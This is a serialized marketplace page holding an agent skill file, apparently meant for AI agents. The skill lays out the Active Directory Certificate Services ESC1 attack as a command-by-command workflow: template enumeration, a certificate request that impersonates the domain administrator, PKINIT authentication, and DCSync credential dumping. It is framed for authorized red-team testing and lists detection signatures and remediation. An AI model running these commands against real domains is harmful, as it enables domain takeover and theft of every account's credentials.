[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6GXT1M4CDT4CD3Y0G21NT83":3,"skill-same:01M6GXT1M4CDT4CD3Y0G21NT83":104},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":15,"categories":16,"keywords":17,"publishedAt":38,"linkOnly":39,"markdownContent":40,"markdownBody":41,"frontMatter":42,"refName":48,"commitSha":49,"skillDirectory":50,"forksCount":51,"repositoryHtmlUrl":52,"repositoryHomepageUrl":6,"ownerHtmlUrl":53,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":54,"install":55,"resources":68},"01M6GXT1M4CDT4CD3Y0G21NT83","exploiting-active-directory-certificate-services-esc1",null,"Exploit misconfigured Active Directory Certificate Services (AD CS) ESC1 vulnerability to request certificates as high-privileged users and escalate domain privileges during authorized red team assessments.","micsapp\u002Fmicstec-skills","micsapp","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F82411001?v=4","01M6GWCFQ6D3PV8EHNY62NN5VW","01M6GWCFVE1PA5HG0DKC7AMFJ3",4,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002F_universal\u002Fcybersecurity-skills\u002Fskills\u002Fexploiting-active-directory-certificate-services-esc1\u002FSKILL.md",[],[18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37],"directory","services","active","certificate","esc1","exploiting active directory certificate services esc1","high","users","as","domain","team","red-teaming","vulnerability","ad-cs","escalation","privilege-escalation","red team","active-directory","red-team","cybersecurity","2026-11-10 10:12:30",false,"---\nname: exploiting-active-directory-certificate-services-esc1\ndescription: Exploit misconfigured Active Directory Certificate Services (AD CS) ESC1 vulnerability to request certificates as high-privileged users and escalate domain privileges during authorized red team assessments.\ndomain: cybersecurity\nsubdomain: red-teaming\ntags: [red-team, active-directory, ad-cs, esc1, certificate-abuse, privilege-escalation, domain-escalation]\nversion: \"1.0\"\nauthor: mahipal\nlicense: Apache-2.0\n---\n# Exploiting Active Directory Certificate Services ESC1\n\n## Overview\n\nESC1 (Escalation Scenario 1) is a critical misconfiguration in Active Directory Certificate Services where a certificate template allows a low-privileged user to request a certificate on behalf of any other user, including Domain Admins. The vulnerability exists when a template has the CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT flag enabled (also called \"Supply in Request\"), combined with an Extended Key Usage (EKU) that permits client authentication (Client Authentication, PKINIT Client Authentication, Smart Card Logon, or Any Purpose). This allows an attacker to specify an arbitrary Subject Alternative Name (SAN) in the certificate request, effectively impersonating any domain user. ESC1 was documented by SpecterOps researchers Will Schroeder and Lee Christensen in their \"Certified Pre-Owned\" whitepaper (2021) and remains one of the most common AD CS attack paths. The MITRE ATT&CK framework tracks this as T1649 (Steal or Forge Authentication Certificates).\n\n\n## When to Use\n\n- When performing authorized security testing that involves exploiting active directory certificate services esc1\n- When analyzing malware samples or attack artifacts in a controlled environment\n- When conducting red team exercises or penetration testing engagements\n- When building detection capabilities based on offensive technique understanding\n\n## Prerequisites\n\n- Familiarity with red teaming concepts and tools\n- Access to a test or lab environment for safe execution\n- Python 3.8+ with required dependencies installed\n- Appropriate authorization for any testing activities\n\n## Objectives\n\n- Enumerate AD CS infrastructure and certificate templates using Certify or Certipy\n- Identify vulnerable ESC1 templates with \"Supply in Request\" enabled\n- Request a certificate specifying a Domain Admin in the SAN field\n- Authenticate using the forged certificate via PKINIT to obtain a TGT\n- Escalate privileges to Domain Admin using the obtained Kerberos ticket\n- Document the full attack chain for the engagement report\n\n## MITRE ATT&CK Mapping\n\n- **T1649** - Steal or Forge Authentication Certificates\n- **T1558.001** - Steal or Forge Kerberos Tickets: Golden Ticket\n- **T1078.002** - Valid Accounts: Domain Accounts\n- **T1484** - Domain Policy Modification\n- **T1087.002** - Account Discovery: Domain Account\n\n## Workflow\n\n### Phase 1: AD CS Enumeration\n1. Enumerate Certificate Authority (CA) servers in the domain:\n   ```powershell\n   # Using Certify (Windows)\n   Certify.exe cas\n\n   # Using Certipy (Linux\u002FPython)\n   certipy find -u user@domain.local -p 'Password123' -dc-ip 10.10.10.1\n   ```\n2. Enumerate all certificate templates and identify vulnerable ones:\n   ```powershell\n   # Using Certify - find vulnerable templates\n   Certify.exe find \u002Fvulnerable\n\n   # Using Certipy - outputs JSON and text reports\n   certipy find -u user@domain.local -p 'Password123' -dc-ip 10.10.10.1 -vulnerable\n   ```\n3. Verify ESC1 conditions on identified templates:\n   - `msPKI-Certificate-Name-Flag` contains `ENROLLEE_SUPPLIES_SUBJECT`\n   - `pkiExtendedKeyUsage` contains Client Authentication or Smart Card Logon\n   - `msPKI-Enrollment-Flag` does not require manager approval\n   - Low-privileged group (Domain Users, Authenticated Users) has Enroll rights\n\n### Phase 2: Certificate Request with Arbitrary SAN\n1. Request a certificate using the vulnerable template, specifying a Domain Admin in the SAN:\n   ```powershell\n   # Using Certify (Windows)\n   Certify.exe request \u002Fca:DC01.domain.local\\domain-CA \u002Ftemplate:VulnerableTemplate \u002Faltname:administrator\n\n   # Using Certipy (Linux)\n   certipy req -u user@domain.local -p 'Password123' -ca 'domain-CA' -target DC01.domain.local -template VulnerableTemplate -upn administrator@domain.local\n   ```\n2. The CA issues a certificate with the Domain Admin's UPN in the SAN field\n3. Save the output certificate in PFX\u002FPEM format\n\n### Phase 3: Authentication with Forged Certificate\n1. Convert the certificate if needed (Certify outputs PEM, convert to PFX):\n   ```bash\n   openssl pkcs12 -in cert.pem -keyex -CSP \"Microsoft Enhanced Cryptographic Provider v1.0\" -export -out cert.pfx\n   ```\n2. Authenticate using PKINIT to obtain a TGT for the impersonated user:\n   ```powershell\n   # Using Rubeus (Windows)\n   Rubeus.exe asktgt \u002Fuser:administrator \u002Fcertificate:cert.pfx \u002Fpassword:\u003Cpfx-password> \u002Fptt\n\n   # Using Certipy (Linux)\n   certipy auth -pfx administrator.pfx -dc-ip 10.10.10.1\n   ```\n3. The TGT is now loaded in memory (Windows) or the NT hash is recovered (Linux)\n\n### Phase 4: Domain Privilege Escalation\n1. With the Domain Admin TGT, perform privileged operations:\n   ```powershell\n   # DCSync to dump all domain credentials\n   mimikatz.exe \"lsadump::dcsync \u002Fdomain:domain.local \u002Fall\"\n\n   # Or using secretsdump.py with the obtained NT hash\n   secretsdump.py domain.local\u002Fadministrator@DC01.domain.local -hashes :ntlmhash\n   ```\n2. Validate Domain Admin access:\n   ```powershell\n   # List domain controllers\n   dir \\\\DC01.domain.local\\C$\n\n   # Access Domain Admin shares\n   dir \\\\DC01.domain.local\\SYSVOL\n   ```\n\n## Tools and Resources\n\n| Tool | Purpose | Platform |\n|------|---------|----------|\n| Certify | AD CS enumeration and certificate requests | Windows (.NET) |\n| Certipy | AD CS enumeration, request, and authentication | Linux (Python) |\n| Rubeus | Kerberos authentication with certificates (PKINIT) | Windows (.NET) |\n| Mimikatz | Credential dumping post-escalation | Windows |\n| secretsdump.py | Remote credential dumping (Impacket) | Linux (Python) |\n| PSPKIAudit | PowerShell AD CS auditing module | Windows |\n| ForgeCert | Certificate forgery tool | Windows (.NET) |\n\n## Vulnerable Template Indicators\n\n| Condition | Vulnerable Value |\n|-----------|-----------------|\n| msPKI-Certificate-Name-Flag | ENROLLEE_SUPPLIES_SUBJECT (1) |\n| pkiExtendedKeyUsage | Client Authentication (1.3.6.1.5.5.7.3.2) |\n| Enrollment Rights | Domain Users or Authenticated Users |\n| msPKI-Enrollment-Flag | No manager approval required |\n| CA Setting | No approval workflow enforced |\n\n## Detection Signatures\n\n| Indicator | Detection Method |\n|-----------|-----------------|\n| Certificate request with SAN different from requester | Windows Event 4886 \u002F 4887 on CA server |\n| Unusual PKINIT authentication | Event 4768 with certificate-based pre-auth |\n| Certify.exe or Certipy execution | EDR process monitoring and command-line logging |\n| Mass certificate template enumeration | LDAP query monitoring for pkiCertificateTemplate objects |\n| Certificate issued to non-matching UPN | CA audit logs and certificate transparency |\n\n## Validation Criteria\n\n- [ ] AD CS Certificate Authority enumerated\n- [ ] Vulnerable ESC1 templates identified with Certify or Certipy\n- [ ] Certificate requested with Domain Admin SAN successfully\n- [ ] PKINIT authentication performed with forged certificate\n- [ ] Domain Admin TGT obtained\n- [ ] Privileged access to domain controller validated\n- [ ] Full attack chain documented with evidence\n- [ ] Remediation recommendations provided (disable Supply in Request, require manager approval)\n","# Exploiting Active Directory Certificate Services ESC1\n\n## Overview\n\nESC1 (Escalation Scenario 1) is a critical misconfiguration in Active Directory Certificate Services where a certificate template allows a low-privileged user to request a certificate on behalf of any other user, including Domain Admins. The vulnerability exists when a template has the CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT flag enabled (also called \"Supply in Request\"), combined with an Extended Key Usage (EKU) that permits client authentication (Client Authentication, PKINIT Client Authentication, Smart Card Logon, or Any Purpose). This allows an attacker to specify an arbitrary Subject Alternative Name (SAN) in the certificate request, effectively impersonating any domain user. ESC1 was documented by SpecterOps researchers Will Schroeder and Lee Christensen in their \"Certified Pre-Owned\" whitepaper (2021) and remains one of the most common AD CS attack paths. The MITRE ATT&CK framework tracks this as T1649 (Steal or Forge Authentication Certificates).\n\n\n## When to Use\n\n- When performing authorized security testing that involves exploiting active directory certificate services esc1\n- When analyzing malware samples or attack artifacts in a controlled environment\n- When conducting red team exercises or penetration testing engagements\n- When building detection capabilities based on offensive technique understanding\n\n## Prerequisites\n\n- Familiarity with red teaming concepts and tools\n- Access to a test or lab environment for safe execution\n- Python 3.8+ with required dependencies installed\n- Appropriate authorization for any testing activities\n\n## Objectives\n\n- Enumerate AD CS infrastructure and certificate templates using Certify or Certipy\n- Identify vulnerable ESC1 templates with \"Supply in Request\" enabled\n- Request a certificate specifying a Domain Admin in the SAN field\n- Authenticate using the forged certificate via PKINIT to obtain a TGT\n- Escalate privileges to Domain Admin using the obtained Kerberos ticket\n- Document the full attack chain for the engagement report\n\n## MITRE ATT&CK Mapping\n\n- **T1649** - Steal or Forge Authentication Certificates\n- **T1558.001** - Steal or Forge Kerberos Tickets: Golden Ticket\n- **T1078.002** - Valid Accounts: Domain Accounts\n- **T1484** - Domain Policy Modification\n- **T1087.002** - Account Discovery: Domain Account\n\n## Workflow\n\n### Phase 1: AD CS Enumeration\n1. Enumerate Certificate Authority (CA) servers in the domain:\n   ```powershell\n   # Using Certify (Windows)\n   Certify.exe cas\n\n   # Using Certipy (Linux\u002FPython)\n   certipy find -u user@domain.local -p 'Password123' -dc-ip 10.10.10.1\n   ```\n2. Enumerate all certificate templates and identify vulnerable ones:\n   ```powershell\n   # Using Certify - find vulnerable templates\n   Certify.exe find \u002Fvulnerable\n\n   # Using Certipy - outputs JSON and text reports\n   certipy find -u user@domain.local -p 'Password123' -dc-ip 10.10.10.1 -vulnerable\n   ```\n3. Verify ESC1 conditions on identified templates:\n   - `msPKI-Certificate-Name-Flag` contains `ENROLLEE_SUPPLIES_SUBJECT`\n   - `pkiExtendedKeyUsage` contains Client Authentication or Smart Card Logon\n   - `msPKI-Enrollment-Flag` does not require manager approval\n   - Low-privileged group (Domain Users, Authenticated Users) has Enroll rights\n\n### Phase 2: Certificate Request with Arbitrary SAN\n1. Request a certificate using the vulnerable template, specifying a Domain Admin in the SAN:\n   ```powershell\n   # Using Certify (Windows)\n   Certify.exe request \u002Fca:DC01.domain.local\\domain-CA \u002Ftemplate:VulnerableTemplate \u002Faltname:administrator\n\n   # Using Certipy (Linux)\n   certipy req -u user@domain.local -p 'Password123' -ca 'domain-CA' -target DC01.domain.local -template VulnerableTemplate -upn administrator@domain.local\n   ```\n2. The CA issues a certificate with the Domain Admin's UPN in the SAN field\n3. Save the output certificate in PFX\u002FPEM format\n\n### Phase 3: Authentication with Forged Certificate\n1. Convert the certificate if needed (Certify outputs PEM, convert to PFX):\n   ```bash\n   openssl pkcs12 -in cert.pem -keyex -CSP \"Microsoft Enhanced Cryptographic Provider v1.0\" -export -out cert.pfx\n   ```\n2. Authenticate using PKINIT to obtain a TGT for the impersonated user:\n   ```powershell\n   # Using Rubeus (Windows)\n   Rubeus.exe asktgt \u002Fuser:administrator \u002Fcertificate:cert.pfx \u002Fpassword:\u003Cpfx-password> \u002Fptt\n\n   # Using Certipy (Linux)\n   certipy auth -pfx administrator.pfx -dc-ip 10.10.10.1\n   ```\n3. The TGT is now loaded in memory (Windows) or the NT hash is recovered (Linux)\n\n### Phase 4: Domain Privilege Escalation\n1. With the Domain Admin TGT, perform privileged operations:\n   ```powershell\n   # DCSync to dump all domain credentials\n   mimikatz.exe \"lsadump::dcsync \u002Fdomain:domain.local \u002Fall\"\n\n   # Or using secretsdump.py with the obtained NT hash\n   secretsdump.py domain.local\u002Fadministrator@DC01.domain.local -hashes :ntlmhash\n   ```\n2. Validate Domain Admin access:\n   ```powershell\n   # List domain controllers\n   dir \\\\DC01.domain.local\\C$\n\n   # Access Domain Admin shares\n   dir \\\\DC01.domain.local\\SYSVOL\n   ```\n\n## Tools and Resources\n\n| Tool | Purpose | Platform |\n|------|---------|----------|\n| Certify | AD CS enumeration and certificate requests | Windows (.NET) |\n| Certipy | AD CS enumeration, request, and authentication | Linux (Python) |\n| Rubeus | Kerberos authentication with certificates (PKINIT) | Windows (.NET) |\n| Mimikatz | Credential dumping post-escalation | Windows |\n| secretsdump.py | Remote credential dumping (Impacket) | Linux (Python) |\n| PSPKIAudit | PowerShell AD CS auditing module | Windows |\n| ForgeCert | Certificate forgery tool | Windows (.NET) |\n\n## Vulnerable Template Indicators\n\n| Condition | Vulnerable Value |\n|-----------|-----------------|\n| msPKI-Certificate-Name-Flag | ENROLLEE_SUPPLIES_SUBJECT (1) |\n| pkiExtendedKeyUsage | Client Authentication (1.3.6.1.5.5.7.3.2) |\n| Enrollment Rights | Domain Users or Authenticated Users |\n| msPKI-Enrollment-Flag | No manager approval required |\n| CA Setting | No approval workflow enforced |\n\n## Detection Signatures\n\n| Indicator | Detection Method |\n|-----------|-----------------|\n| Certificate request with SAN different from requester | Windows Event 4886 \u002F 4887 on CA server |\n| Unusual PKINIT authentication | Event 4768 with certificate-based pre-auth |\n| Certify.exe or Certipy execution | EDR process monitoring and command-line logging |\n| Mass certificate template enumeration | LDAP query monitoring for pkiCertificateTemplate objects |\n| Certificate issued to non-matching UPN | CA audit logs and certificate transparency |\n\n## Validation Criteria\n\n- [ ] AD CS Certificate Authority enumerated\n- [ ] Vulnerable ESC1 templates identified with Certify or Certipy\n- [ ] Certificate requested with Domain Admin SAN successfully\n- [ ] PKINIT authentication performed with forged certificate\n- [ ] Domain Admin TGT obtained\n- [ ] Privileged access to domain controller validated\n- [ ] Full attack chain documented with evidence\n- [ ] Remediation recommendations provided (disable Supply in Request, require manager approval)\n",{"name":5,"tags":43,"author":46,"domain":37,"license":14,"version":47,"subdomain":29,"description":7},[36,35,31,22,44,33,45],"certificate-abuse","domain-escalation","mahipal","1.0","master","3f5d983eb4ef375b749adcd6b07ec03bd82ae8a8","_universal\u002Fcybersecurity-skills\u002Fskills\u002Fexploiting-active-directory-certificate-services-esc1",0,"https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills","https:\u002F\u002Fgithub.com\u002Fmicsapp","2026-03-20 11:24:18",{"source":8,"skillName":5,"commands":56,"prompt":66,"zipAvailable":67},[57,60,63],{"tool":58,"command":59},"npx","npx skills add micsapp\u002Fmicstec-skills --skill exploiting-active-directory-certificate-services-esc1",{"tool":61,"command":62},"bunx","bunx skills add micsapp\u002Fmicstec-skills --skill exploiting-active-directory-certificate-services-esc1",{"tool":64,"command":65},"pnpm","pnpm dlx skills add micsapp\u002Fmicstec-skills --skill exploiting-active-directory-certificate-services-esc1","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002F_universal\u002Fcybersecurity-skills\u002Fskills\u002Fexploiting-active-directory-certificate-services-esc1\u002FSKILL.md",true,[69,75,80,86,90,94,100],{"path":70,"resourceType":71,"resourceTypeDesc":72,"sizeBytes":73,"sourceHtmlUrl":74},"assets\u002Ftemplate.md","ASSET","资产文件",1285,"https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002F_universal\u002Fcybersecurity-skills\u002Fskills\u002Fexploiting-active-directory-certificate-services-esc1\u002Fassets\u002Ftemplate.md",{"path":76,"resourceType":76,"resourceTypeDesc":77,"sizeBytes":78,"sourceHtmlUrl":79},"LICENSE","许可证",11255,"https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002F_universal\u002Fcybersecurity-skills\u002Fskills\u002Fexploiting-active-directory-certificate-services-esc1\u002FLICENSE",{"path":81,"resourceType":82,"resourceTypeDesc":83,"sizeBytes":84,"sourceHtmlUrl":85},"references\u002Fapi-reference.md","REFERENCE","参考文档",2201,"https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002F_universal\u002Fcybersecurity-skills\u002Fskills\u002Fexploiting-active-directory-certificate-services-esc1\u002Freferences\u002Fapi-reference.md",{"path":87,"resourceType":82,"resourceTypeDesc":83,"sizeBytes":88,"sourceHtmlUrl":89},"references\u002Fstandards.md",1144,"https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002F_universal\u002Fcybersecurity-skills\u002Fskills\u002Fexploiting-active-directory-certificate-services-esc1\u002Freferences\u002Fstandards.md",{"path":91,"resourceType":82,"resourceTypeDesc":83,"sizeBytes":92,"sourceHtmlUrl":93},"references\u002Fworkflows.md",1971,"https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002F_universal\u002Fcybersecurity-skills\u002Fskills\u002Fexploiting-active-directory-certificate-services-esc1\u002Freferences\u002Fworkflows.md",{"path":95,"resourceType":96,"resourceTypeDesc":97,"sizeBytes":98,"sourceHtmlUrl":99},"scripts\u002Fagent.py","SCRIPT","脚本",4741,"https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002F_universal\u002Fcybersecurity-skills\u002Fskills\u002Fexploiting-active-directory-certificate-services-esc1\u002Fscripts\u002Fagent.py",{"path":101,"resourceType":96,"resourceTypeDesc":97,"sizeBytes":102,"sourceHtmlUrl":103},"scripts\u002Fprocess.py",8081,"https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002F_universal\u002Fcybersecurity-skills\u002Fskills\u002Fexploiting-active-directory-certificate-services-esc1\u002Fscripts\u002Fprocess.py",[105,142,171,192,212,237],{"skillNo":106,"name":107,"nameZh":6,"description":108,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":109,"licenseFileUrl":6,"sourceHtmlUrl":110,"categories":111,"keywords":122,"publishedAt":38},"01M6HBTJ02FXBFG9NYEHHYAP52","azure-apim-architecture","Analyzes and explains Azure API Management architecture decisions for enterprise API marketplace implementations using VNet Internal mode, Front Door, hybrid authentication, and multi-environment strategies. Use when discussing APIM component selection, network topology, cost optimization, or comparing alternatives like workspaces vs instances, VNet Internal vs External mode, or Front Door vs Application Gateway.","MIT","https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002Fcopilot-cli\u002Fcopilot-agent-skills\u002F.github\u002Fskills\u002Fazure-apim-architecture\u002FSKILL.md",[112,117],{"categoryNo":113,"categoryName":114,"taxonomyType":115,"taxonomyTypeDesc":116},"01JBSEEDCAT000000000000010","后端与接口","SCENARIO","使用场景",{"categoryNo":118,"categoryName":119,"taxonomyType":120,"taxonomyTypeDesc":121},"01JBSEEDCAT000000000000030","开发工程师","PROFESSION","适用职业",[123,124,125,126,127,128,129,130,131,132,28,133,134,135,136,137,138,139,140,141],"architecture","azure","azure apim architecture","component","authentication","gateway","topology","Optimization","network","api","environment","multi-environment","workspaces","instances","selection","strategies","azure api management","mode","for",{"skillNo":143,"name":144,"nameZh":6,"description":145,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":109,"licenseFileUrl":6,"sourceHtmlUrl":146,"categories":147,"keywords":156,"publishedAt":38},"01M6HBT7J4H082JEEA670B3EQ9","apiops-deployment","Guides deployment of Azure API Management infrastructure using Infrastructure as Code (Bicep\u002FTerraform), CI\u002FCD pipelines (GitHub Actions\u002FAzure DevOps), and APIOps workflows. Use when deploying APIM, creating pipelines, or implementing dev→test→prod promotion strategies.","https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002Fcopilot-cli\u002Fcopilot-agent-skills\u002F.github\u002Fskills\u002Fapiops-deployment\u002FSKILL.md",[148,149,152,155],{"categoryNo":113,"categoryName":114,"taxonomyType":115,"taxonomyTypeDesc":116},{"categoryNo":150,"categoryName":151,"taxonomyType":115,"taxonomyTypeDesc":116},"01JBSEEDCAT000000000000011","运维与部署",{"categoryNo":153,"categoryName":154,"taxonomyType":115,"taxonomyTypeDesc":116},"01JBSEEDCAT000000000000023","Skill与智能体开发",{"categoryNo":118,"categoryName":119,"taxonomyType":120,"taxonomyTypeDesc":121},[157,158,159,160,124,161,162,163,164,165,166,167,132,28,138,26,168,139,169,170],"deployment","apiops deployment","workflows","azure devops","infrastructure","code","infrastructure as code","actions","ci","github actions","github-actions","guides","CI\u002FCD","implementing",{"skillNo":172,"name":173,"nameZh":6,"description":174,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":109,"licenseFileUrl":6,"sourceHtmlUrl":175,"categories":176,"keywords":178,"publishedAt":38},"01M6HBT2HEA23THNE9E00GYQBE","apim-policy-authoring","Creates production-ready Azure API Management policy XML for authentication (OAuth 2.0, JWT validation, subscription keys), rate limiting, CORS configuration, error handling, and API transformations. Use when implementing API security, access control, or request\u002Fresponse processing logic.","https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002Fcopilot-cli\u002Fcopilot-agent-skills\u002F.github\u002Fskills\u002Fapim-policy-authoring\u002FSKILL.md",[177],{"categoryNo":113,"categoryName":114,"taxonomyType":115,"taxonomyTypeDesc":116},[179,180,181,182,124,127,132,28,183,184,185,186,187,188,189,139,190,191,170,141],"policy","authoring","apim policy authoring","security","access","use","ready","api security","Access Control","error","processing","cors configuration","production-ready",{"skillNo":193,"name":194,"nameZh":6,"description":195,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":109,"licenseFileUrl":6,"sourceHtmlUrl":196,"categories":197,"keywords":200,"publishedAt":38},"01M6HBSY65SB29J9WE9KYD0K6T","api-security-review","Reviews Azure API Management configurations for security vulnerabilities, OWASP API Security Top 10 compliance, VNet Internal mode validation, Private Link verification, and Azure Security Benchmark alignment. Use when performing security audits, pre-deployment validation, or compliance reviews.","https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002Fcopilot-cli\u002Fcopilot-agent-skills\u002F.github\u002Fskills\u002Fapi-security-review\u002FSKILL.md",[198,199],{"categoryNo":113,"categoryName":114,"taxonomyType":115,"taxonomyTypeDesc":116},{"categoryNo":118,"categoryName":119,"taxonomyType":120,"taxonomyTypeDesc":121},[201,182,202,132,186,203,124,157,204,205,206,207,28,208,139,209,210,211,140,141],"review","security review","api security review","benchmark","verification","owasp","owasp-api","alignment","azure security","reviews","top",{"skillNo":213,"name":214,"nameZh":6,"description":215,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":109,"licenseFileUrl":6,"sourceHtmlUrl":216,"categories":217,"keywords":218,"publishedAt":38},"01M6HBSRW4PDFE6K4F8JYPZQ05","jira-cli","Interact with Jira from the command line to create, list, view, edit, and transition issues, manage sprints and epics, and perform common Jira workflows. Use when the user asks about Jira tasks, tickets, issues, sprints, or needs to manage project work items.","https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002Fcopilot-cli\u002Fawesome-copilot-agents\u002Fskills\u002Fjira-cli\u002FSKILL.md",[],[219,220,221,159,222,223,224,225,132,226,227,228,229,230,231,232,233,234,235,236],"cli","jira","jira cli","init","tasks","create","issues","common","work","command","edit","list","view","project","project work","token","line","sprints",{"skillNo":238,"name":239,"nameZh":6,"description":240,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":109,"licenseFileUrl":6,"sourceHtmlUrl":241,"categories":242,"keywords":243,"publishedAt":38},"01M6HBSNS3JHMW603G47TWE31H","calculator","Performs arbitrary-precision arithmetic calculations including addition, subtraction, multiplication, division, and exponents. Use when the user asks to calculate, compute, or evaluate math expressions, or when precise decimal arithmetic is needed to avoid floating-point errors.","https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002Fcopilot-cli\u002Fawesome-copilot-agents\u002Fskills\u002Fcalculator\u002FSKILL.md",[],[239,244,245,246,247,248,249,184,250,251],"npm","js","calculate","node","math","user","compute","errors"]